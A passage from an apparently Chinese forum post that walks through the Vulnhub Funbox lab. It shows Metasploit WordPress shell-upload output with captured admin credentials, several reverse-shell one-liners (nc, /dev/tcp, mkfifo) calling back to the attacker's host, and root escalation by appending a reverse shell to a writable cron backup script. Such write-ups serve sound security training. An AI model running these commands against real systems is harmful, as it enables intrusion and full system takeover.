  19.    SSL        false            no        Negotiate SSL/TLS for outgoing connections
  20.    TARGETURI  /                yes       The base path to the wordpress application
  21.    USERNAME                    yes       The WordPress username to authenticate with
  22.    VHOST                       no        HTTP server virtual host
  23. Payload options (php/meterpreter/reverse_tcp):
  24.    Name   Current Setting  Required  Description
  25.    ----   ---------------  --------  -----------
  26.    LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
  27.    LPORT  4444             yes       The listen port
  28. Exploit target:
  29.    Id  Name
  30.    --  ----
  31.    0   WordPress
  32. msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LPORT  5555
  33. LPORT => 5555
  34. msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST  192.168.56.146
  35. LHOST => 192.168.56.146
  36. msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.56.164
  37. RHOSTS => 192.168.56.164
  38. msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
  39. USERNAME => admin
  40. msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD iubire
  41. PASSWORD => iubire
  42. msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
  43. [-] Handler failed to bind to 192.168.56.146:5555:-  -
  44. [-] Handler failed to bind to 0.0.0.0:5555:-  -
  45. [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:5555).
  46. [*] Exploit completed, but no session was created.
  47. msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
  48. [*] Started reverse TCP handler on 192.168.56.146:5555
  49. [-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
  50. [*] Exploit completed, but no session was created.
  51. msf6 exploit(unix/webapp/wp_admin_shell_upload) >
  52. msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS funbox.fritz.box
  53. RHOSTS => funbox.fritz.box
  54. msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
  55. [*] Started reverse TCP handler on 192.168.56.146:5555
  56. [*] Authenticating with WordPress using admin:iubire...
  57. [+] Authenticated with WordPress
  58. [*] Preparing payload...
  59. [*] Uploading payload...
  60. [*] Executing the payload at /wp-content/plugins/RDbPTmaIBL/GUpqQZSzdR.php...
  61. [*] Sending stage (39927 bytes) to 192.168.56.164
  62. [+] Deleted GUpqQZSzdR.php
  63. [+] Deleted RDbPTmaIBL.php
  64. [+] Deleted ../RDbPTmaIBL
  65. [*] Meterpreter session 1 opened (192.168.56.146:5555 -> 192.168.56.164:54050) at 2023-01-10 21:47:30 -0500
  66. meterpreter > shell
  67. Process 2443 created.
  68. Channel 0 created.
  69. sh: 0: getcwd() failed: No such file or directory
  70. sh: 0: getcwd() failed: No such file or directory
  71. id
  72. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  73. which nc
  74. sh: 0: getcwd() failed: No such file or directory
  75. /usr/bin/nc
  76. nc -e /bin/bash 192.168.56.146 6666
  77. nc: invalid option -- 'e'
  78. usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
  79.           [-m minttl] [-O length] [-P proxy_username] [-p source_port]
  80.           [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
  81.           [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]
  82. id
  83. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  84. bash -i >& /dev/tcp/192.168.56.146/6666 0>&1
  85. /bin/sh: 6: Syntax error: Bad fd number
  86. meterpreter > bash -c 'bash -i >& /dev/tcp/192.168.56.146/6666 0>&1'
  87. [-] Unknown command: bash
  88. meterpreter > shell
  89. Process 2458 created.
  90. Channel 1 created.
  91. sh: 0: getcwd() failed: No such file or directory
  92. sh: 0: getcwd() failed: No such file or directory
  93. id
  94. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  95. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.146 6666 >/tmp/f
  96. rm: cannot remove '/tmp/f': No such file or directory
复制代码
在meterpreter shell基础上spawn一个新的shell
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$  sudo nc -nlvp 6666
  3. listening on [any] 6666 ...
  4. connect to [192.168.56.146] from (UNKNOWN) [192.168.56.164] 56812
  5. sh: 0: getcwd() failed: No such file or directory
  6. /bin/sh: 0: can't access tty; job control turned off
  7. $ which python
  8. sh: 0: getcwd() failed: No such file or directory
  9. /usr/bin/python
  10. $ python -c 'import pty;pty.spawn("/bin/bash")'
  11. shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
复制代码
提权
  1. ww-data@funbox:/home/funny$ cat .reminder.sh
  2. cat .reminder.sh
  3. #!/bin/bash
  4. echo "Hi Joe, the hidden backup.sh backups the entire webspace on and on. Ted, the new admin, test it in a long run." | mail -s"Reminder" joe@funbox
复制代码
.reminder.sh提醒backup.sh为计划任务,而该文件任何人都有可写权限
  1. www-data@funbox:/home/funny$ cat .backup.sh
  2. cat .backup.sh
  3. #!/bin/bash
  4. tar -cf /home/funny/html.tar /var/www/html
  5. www-data@funbox:/home/funny$ which nano
  6. which nano
  7. /usr/bin/nano
  8. www-data@funbox:/home/funny$ nano .backup.sh
  9. nano .backup.sh
  10. Error opening terminal: unknown.
  11. www-data@funbox:/home/funny$ echo 'bash -i >& /dev/tcp/192.168.56.146/9999 0>&1' >> .backup.sh
  12. <>& /dev/tcp/192.168.56.146/9999 0>&1' >> .backup.sh
  13. www-data@funbox:/home/funny$ cat .backup.sh
  14. cat .backup.sh
  15. #!/bin/bash
  16. tar -cf /home/funny/html.tar /var/www/html
  17. bash -i >& /dev/tcp/192.168.56.146/9999 0>&1
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ sudo nc -nlvp 9999                                         
  3. [sudo] password for kali:
  4. listening on [any] 9999 ...
  5. connect to [192.168.56.146] from (UNKNOWN) [192.168.56.164] 35070
  6. bash: cannot set terminal process group (2518): Inappropriate ioctl for device
  7. bash: no job control in this shell
  8. root@funbox:~# id
  9. id
  10. uid=0(root) gid=0(root) groups=0(root)
  11. root@funbox:~# cd /root
  12. cd /root
  13. root@funbox:~# ls
  14. ls
  15. flag.txt
  16. mbox
  17. snap
  18. root@funbox:~# cat flag.txt
  19. cat flag.txt
  20. Great ! You did it...
  21. FUNBOX - made by @0815R2d2
  22. root@funbox:~#
复制代码
至此实现了root提权,并拿到了root flag

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

郭卫东

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表